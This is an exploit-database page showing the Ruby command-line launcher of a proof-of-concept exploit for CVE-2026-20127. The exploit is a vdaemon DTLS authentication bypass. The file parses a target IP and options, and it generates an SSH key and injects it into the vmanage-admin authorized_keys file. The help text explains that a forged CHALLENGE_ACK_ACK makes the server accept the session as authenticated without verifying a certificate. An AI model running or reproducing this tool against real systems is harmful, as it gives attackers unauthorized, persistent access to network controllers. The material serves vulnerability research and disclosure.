Exploit database

GH-b8ef63dfc23baf13f31679e3d915c856

sfewer-r7/cve-2026-20127

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-20127

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
sfewer-r7/cve-2026-20127Revision 4993c2e4fa27

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lib/vdaemon_exploit/cli.rb

Ruby · 6,144 bytes
# frozen_string_literal: true

require 'optparse'
require 'openssl'
require 'ipaddr'
require 'fileutils'
require_relative 'crypto/ssh_keygen'
require_relative 'exploit/runner'
require_relative 'protocol/constants'

module VdaemonExploit
  class CLI
    DATA_DIR = File.expand_path('data', Dir.pwd).freeze

    def initialize(argv = ARGV)
      @argv = argv.dup
      @options = {
        port: Protocol::Constants::DEFAULT_PORT,
        inject_key: false,
        ssh_key: nil,
        cert: nil,
        cert_key: nil,
        data_dir: DATA_DIR
      }
    end

    # Parse arguments and run the exploit.
    # @return [Integer] exit code (0 = success, 1 = failure)
    def run
      parse_options!
      target = @argv.shift
      unless target
        warn 'ERROR: target IP required'
        warn @parser.help
        return 1
      end

      # Validate target IP/hostname
      begin
        IPAddr.new(target)
      rescue IPAddr::InvalidAddressError
        begin
          require 'resolv'
          Resolv.getaddress(target)
        rescue Resolv::ResolvError
          warn "ERROR: invalid target IP or unresolvable hostname: #{target.gsub(/[[:cntrl:]]/, '')}"
          return 1
        end
      end

      # Validate port range
      unless (1..65_535).cover?(@options[:port])
        warn "ERROR: port must be between 1 and 65535 (got #{@options[:port]})"
        return 1
      end

      puts "[*] Ruby OpenSSL: #{OpenSSL::OPENSSL_VERSION}"

      ssh_pubkey, ssh_privkey_path = resolve_ssh_options
      cert_path, cert_key_path = resolve_cert_options

      # If ssh key resolution failed (file not found), abort
      return 1 if (@options[:ssh_key] || @options[:inject_key]) && ssh_pubkey.nil?

      # If cert resolution failed (file not found), abort
      return 1 if @options[:cert] && cert_path.nil?

      runner = Exploit::Runner.new(
        target: target,
        port: @options[:port],
        ssh_pubkey: ssh_pubkey,
        ssh_privkey_path: ssh_privkey_path,
        cert_path: cert_path,
        cert_key_path: cert_key_path,
        data_dir: @options[:data_dir]
      )

      runner.run ? 0 : 1
    end

    private

    def parse_options!
      @parser = OptionParser.new do |opts|
        opts.banner = "Usage: #{$0} TARGET [options]"
        opts.separator ''
        opts.separator 'vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)'
        opts.separator ''
        opts.separator 'This exploit targets the vbond_proc_challenge_ack_ack() handler.'
        opts.separator 'It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing'
        opts.separator 'the server to set authenticated=1 without certificate verification.'
        opts.separator ''

        opts.on('-p', '--port PORT', Integer,
                "DTLS port (default: #{Protocol::Constants::DEFAULT_PORT})") { |p| @options[:port] = p }
        opts.on('--inject-key',
                'Generate and inject SSH key into vmanage-admin authorized_keys') { @options[:inject_key] = true }
        opts.on('--ssh-key PUBKEY_FILE',
                'Path to SSH public key file to inject') { |f| @options[:ssh_key] = f }
        opts.on('--cert CERT_FILE',
                'Path to PEM certificate file for DTLS handshake') { |f| @options[:cert] = f }
        opts.on('--cert-key KEY_FILE',
                'Path to PEM private key file for DTLS handshake (used with --cert)') { |f| @options[:cert_key] = f }
        opts.on('--data-dir DIR',
                'Directory for generated keys/certs (default: ./data/)') { |d| @options[:data_dir] = d }

        opts.separator ''
        opts.separator 'Examples:'
        opts.separator "  #{$0} 192.168.86.166"
        opts.separator "  #{$0} 192.168.86.166 --inject-key"
        opts.separator "  #{$0} 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub"
        opts.separator "  #{$0} 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem"
      end
      @parser.parse!(@argv)
    end

    def resolve_ssh_options
      ssh_pubkey = nil
      ssh_privkey_path = nil

      if @options[:ssh_key]
        path = @options[:ssh_key]
        unless File.file?(path)
          warn "[!] SSH public key file not found: #{path.gsub(/[[:cntrl:]]/, '')}"
          return [nil, nil]
        end
        ssh_pubkey = File.read(path).strip
        if path.end_with?('.pub')
          privkey = path.sub(/\.pub\z/, '')
          ssh_privkey_path = privkey if File.file?(privkey)
        end
      elsif @options[:inject_key]
        ssh_dir = File.join(@options[:data_dir], 'ssh')
        FileUtils.mkdir_p(ssh_dir)
        keygen = Crypto::SshKeygen.new
        result = keygen.generate(dir: ssh_dir)
        ssh_pubkey = result.public_key_string
        ssh_privkey_path = result.private_key_path
        puts "[*] SSH keys saved to #{ssh_dir}/"
        puts "    Private key: #{result.private_key_path}"
        puts "    Public key:  #{result.public_key_path}"
      end

      [ssh_pubkey, ssh_privkey_path]
    end

    def resolve_cert_options
      cert_path = nil
      cert_key_path = nil

      if @options[:cert]
        cert_path = @options[:cert]
        unless File.file?(cert_path)
          warn "[!] Certificate file not found: #{cert_path.gsub(/[[:cntrl:]]/, '')}"
          return [nil, nil]
        end

        cert_key_path = @options[:cert_key]
        if cert_key_path
          unless File.file?(cert_key_path)
            warn "[!] Certificate key file not found: #{cert_key_path.gsub(/[[:cntrl:]]/, '')}"
            return [nil, nil]
          end
        else
          # Try to auto-detect key file next to cert
          auto_key = cert_path.sub(/\.pem\z/, '_key.pem')
          auto_key2 = File.join(File.dirname(cert_path), 'key.pem')
          if File.file?(auto_key)
            cert_key_path = auto_key
          elsif File.file?(auto_key2)
            cert_key_path = auto_key2
          else
            warn '[!] No --cert-key specified and could not auto-detect key file'
            warn "    Tried: #{auto_key}, #{auto_key2}"
            return [nil, nil]
          end
        end
      end

      [cert_path, cert_key_path]
    end
  end
end